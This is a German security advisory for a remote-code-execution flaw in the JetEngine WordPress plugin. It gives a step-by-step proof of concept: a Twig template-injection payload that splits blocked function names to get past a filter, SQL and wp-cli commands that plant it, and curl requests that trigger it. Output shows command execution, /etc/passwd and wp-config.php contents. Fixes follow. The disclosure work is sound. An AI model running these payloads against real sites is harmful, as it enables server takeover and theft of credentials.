
JetEngine <= 3.7.2 - Authentifizierte (Contributor+) Remote-Code-Ausführung
Datum: 11. März 2026 CVSS-Score: 8.8 (Hoch) CVSS-Vektor: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Betroffenes Plugin: JetEngine <= 3.7.2 Plugin-Slug: jet-engine CVE: CVE-2026-28134 Status: Privat Getestete WordPress-Version: Neueste
CVE-2026-28134 ist eine Remote Code Execution-Schwachstelle im JetEngine-WordPress-Plugin, die alle Versionen bis einschließlich 3.7.2 betrifft. Die Schwachstelle ermöglicht es authentifizierten Angreifern mit Contributor-Zugriff oder höher, beliebige Betriebssystembefehle auf dem Server auszuführen, indem sie eine schädliche Twig-Vorlage in einen JetEngine-Listing-Beitrag einschleusen.
Die Angriffskette kombiniert drei Schwachstellen:
~ zur String-Verkettung, um blockierte Funktionsnamen über Tokens hinweg aufzuteilen.✅ SCHWACHSTELLE BESTÄTIGT — Vollständige RCE erreicht
Bestätigter Impact:
www-data/etc/passwd, wp-config.php)JetEngine bietet einen auf Twig/Timber basierenden Listing-Ansichtstyp. Wenn die Komponente timber_views aktiviert ist, werden bei Listing-Beiträgen mit _listing_type = twig deren Post-Meta-Daten _jet_engine_listing_html über Timber als Live-Twig-Vorlage gerendert. Die Rendering-Pipeline ist über die nicht authentifizierte AJAX-Aktion wp_ajax_nopriv_jet_engine_ajax erreichbar; es genügt, dass der Angreifer einen JetEngine-Listing-Beitrag erstellen oder ändern kann (mindestens Contributor-Rolle).
ajax-handlers.php registriert die AJAX-Aktion sowohl für authentifizierte als auch für nicht authentifizierte Benutzer:
// ajax-handlers.php:29
add_action( 'wp_ajax_jet_engine_ajax', array( $this, 'handle_ajax' ) );
add_action( 'wp_ajax_nopriv_jet_engine_ajax', array( $this, 'handle_ajax' ) );
Der Handler ruft basierend auf $_REQUEST['handler'] ohne Nonce- oder Capability-Prüfung jede öffentliche Methode der Klasse auf:
// ajax-handlers.php:96-104
public function handle_ajax() {
if ( ! isset( $_REQUEST['handler'] ) || ! is_callable( array( $this, $_REQUEST['handler'] ) ) ) {
return;
}
if ( ! empty( $_REQUEST['page_settings'] ) ) {
foreach ( $_REQUEST['page_settings'] as $key => $value ) {
$_REQUEST[ $key ] = $value;
}
}
call_user_func( array( $this, $_REQUEST['handler'] ) );
}
Der Aufruf von listing_load_more ist öffentlich zugänglich und löst die Listing-Rendering-Pipeline aus.
Die Aufrufkette listing_load_more → get_listing → frontend->get_listing_item erreicht:
// frontend.php:302
$content = apply_filters( 'jet-engine/listing/content/' . $listing_view, null, $listing_id );
Wenn $listing_view = 'twig' ist, löst dies Jet_Engine\Timber_Views\Render::get_listing_content() aus, das die Twig-Vorlage aus dem Meta-Feld _jet_engine_listing_html des Beitrags liest und sie direkt an render_html() übergibt:
// timber.php:150
$template = $twig->createTemplate(
$this->sanitize_html(
do_shortcode( $this->sanitize_twig_content( $html ) )
)
);
return $template->render( $context );
Twig rendert ohne Sandbox. Der einzige Schutz ist sanitize_twig_content().
sanitize_twig_content() entfernt gefährliche PHP-Funktionsnamen mithilfe von Regex-Mustern mit Wortgrenzen und prüft dann, ob die Vorlage verändert wurde:
// timber.php:256-262
$dangerous_funcs = [
'passthru', 'exec', 'eval', 'system', 'shell_exec', 'proc_open', 'popen',
'assert', 'file_put_contents', 'file_get_contents', 'unlink', 'fopen', 'fwrite'
];
foreach ( $dangerous_funcs as $func ) {
$input = preg_replace( '/\b' . preg_quote( $func, '/' ) . '\b/i', '', $input );
}
Das Muster \bsystem\b passt auf das Literal-Token system. Es passt nicht auf "sys" ~ "tem", da es sich um zwei separate, in Anführungszeichen gesetzte String-Tokens handelt. Twig wertet die Verkettung zur Renderzeit aus und erzeugt "system" nur im Speicher — die Quellvorlage enthält das blockierte Wort nie.
Bypass-Payload:
{{ fn("sys" ~ "tem", "id") }}
Der Sanitizer sieht fn, "sys", ~, "tem", "id" — nichts davon steht auf der Blocklist. Er lässt die Vorlage unverändert durch.
fn()-HelferTimber registriert aufrufbare PHP-Wrapper direkt in der Twig-Umgebung:
// timber-library/lib/Twig.php:42-43
$twig->addFunction( new Twig_Function( 'function', array( &$this, 'exec_function' ) ) );
$twig->addFunction( new Twig_Function( 'fn', array( &$this, 'exec_function' ) ) );
// timber-library/lib/Twig.php:290-297
public function exec_function( $function_name ) {
$args = func_get_args();
array_shift( $args );
if ( is_string( $function_name ) ) {
$function_name = trim( $function_name );
}
return call_user_func_array( $function_name, ( $args ) );
}
{{ fn("sys" ~ "tem", "id") }} wird zu call_user_func_array("system", ["id"]) aufgelöst — beliebige Ausführung von Betriebssystembefehlen.
timber_views ist aktiviert (JetEngine-Einstellungen > Leistung > Timber/Twig-Ansichten).Erstellen Sie einen JetEngine-Listing-Beitrag, bei dem die schädliche Twig-Vorlage in den Post-Meta-Daten gespeichert ist:
-- Set listing type to twig
UPDATE wp_postmeta SET meta_value = 'twig'
WHERE post_id = <LISTING_ID> AND meta_key = '_listing_type';
-- Inject SSTI payload (sanitizer bypass via ~ concatenation)
UPDATE wp_postmeta SET meta_value = '{{ fn("sys" ~ "tem", "id") }}'
WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_html';
-- Set listing source
UPDATE wp_postmeta SET meta_value = '{"listing_source":"posts","post_type":"post"}'
WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_data';
Oder über wp-cli (als Contributor-Benutzer):
wp post meta update <LISTING_ID> _listing_type twig
wp post meta update <LISTING_ID> _jet_engine_listing_html '{{ fn("sys" ~ "tem", "id") }}'
curl -s -X POST 'http://TARGET/wp-admin/admin-ajax.php' \
-d 'action=jet_engine_ajax' \
-d 'handler=listing_load_more' \
-d 'widget_settings[lisitng_id]=<LISTING_ID>' \
-d 'widget_settings[columns]=1' \
-d 'query[post_type]=post' \
-d 'query[posts_per_page]=1' \
-d 'query[paged]=1' \
-d 'page_settings[page_id]=1'
{
"success": true,
"data": {
"html": "<div class=\"jet-listing-grid__item jet-listing-dynamic-post-6\" data-post-id=\"6\">uid=33(www-data) gid=33(www-data) groups=33(www-data)\n</div>"
}
}
Blockierte Zeichenkette passthru, aufgeteilt als "pas" ~ "sthru":
curl -s -X POST 'http://TARGET/wp-admin/admin-ajax.php' \
-d 'action=jet_engine_ajax' \
-d 'handler=listing_load_more' \
-d 'widget_settings[lisitng_id]=<LISTING_ID>' \
-d 'widget_settings[columns]=1' \
-d 'query[post_type]=post' \
-d 'query[posts_per_page]=1' \
-d 'query[paged]=1' \
-d 'page_settings[page_id]=1'
Vorlage gesetzt auf {{ fn("pas" ~ "sthru", "cat /etc/passwd") }}:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
Vorlage {{ fn("pas" ~ "sthru", "grep DB_ /var/www/html/wp-config.php") }}:
define( 'DB_USER', getenv_docker('WORDPRESS_DB_USER', ...) );
define( 'DB_PASSWORD', getenv_docker('WORDPRESS_DB_PASSWORD', ...) );
define( 'DB_HOST', getenv_docker('WORDPRESS_DB_HOST', ...) );
wp_ajax_nopriv_jet_engine_ajax wird für nicht authentifizierte Anfragen ausgelöst. Der Dispatcher handle_ajax() führt vor dem Aufruf von listing_load_more weder eine Nonce-Prüfung noch eine Capability-Prüfung durch. Die Rendering-Pipeline ist daher für jeden nicht authentifizierten Benutzer erreichbar, sobald ein schädliches Listing existiert.
Die offizielle Sandbox-Erweiterung von Twig (\Twig\Sandbox\SecurityPolicy) setzt Allowlists auf Engine-Ebene durch — es ist unmöglich, Funktionen aufzurufen, die nicht ausdrücklich erlaubt sind. JetEngine verwendet createTemplate() ohne Sandbox. Der einzige Schutz ist ein Pre-Render-String-Scan, der leicht umgangen werden kann.
Der Blocklist-Ansatz (/\bsystem\b/i) arbeitet auf statischem Vorlagenquelltext. Twigs Verkettungsoperator ~ erzeugt Zeichenketten zur Laufzeit. Jeder blockierte Name kann aufgeteilt werden: "pass" ~ "thru", "she" ~ "ll_exec", "sys" ~ "tem" usw. Eine ordnungsgemäße Sandbox würde den Aufruf ablehnen, unabhängig davon, wie der Funktionsname konstruiert wurde.
call_user_func_array offenDie Twig-Helfer fn() und function() von Timber sind vorbehaltlose Brücken zu PHPs call_user_func_array. Es gibt keine Allowlist für aufrufbare Funktionen. Jede PHP-Funktion, die aus dem Webprozess erreichbar ist, kann aufgerufen werden.
| Datum | Ereignis |
|---|---|
| 2026-03-11 | Schwachstelle entdeckt und mit vollständigem RCE-PoC bestätigt |
| 2026-03-11 | Bericht erstellt |
| Datei | Problem |
|---|
includes/components/listings/ajax-handlers.php:29 | wp_ajax_nopriv_jet_engine_ajax registriert — keine Authentifizierung oder Nonce |
includes/components/listings/ajax-handlers.php:104 | call_user_func(array($this, $_REQUEST['handler'])) — beliebige öffentliche Methode wird aufgerufen |
includes/components/timber-views/timber.php:150 | render_html() rendert eine vom Angreifer kontrollierte Twig-Vorlage ohne Sandbox |
includes/components/timber-views/timber.php:189 | sanitize_twig_content() — String-Regex-Blocklist, durch Token-Splitting umgangen |
timber-library/lib/Twig.php:42-43 | Timber registriert fn()/function() als Twig-Wrapper für call_user_func_array |
| Fix | Beschreibung |
|---|
Nonce- und Capability-Prüfung zu handle_ajax() hinzufügen | Für alle AJAX-Dispatchs die Capability edit_posts und ein gültiges Nonce verlangen |
| Twig-Sandbox aktivieren | String-Blocklist durch \Twig\Sandbox\SecurityPolicy ersetzen — sichere Funktionen und Eigenschaften ausdrücklich auf die Allowlist setzen |
Timber-fn()-Helfer einschränken | Aufrufbare Funktionsnamen auf eine Allowlist setzen oder fn()/function() aus der Twig-Umgebung für nicht vertrauenswürdige Vorlagen entfernen |
| Listing-Besitz validieren | Bestätigen, dass der anfragende Benutzer die Capability edit_post für das Listing besitzt, bevor dessen Vorlage gerendert wird |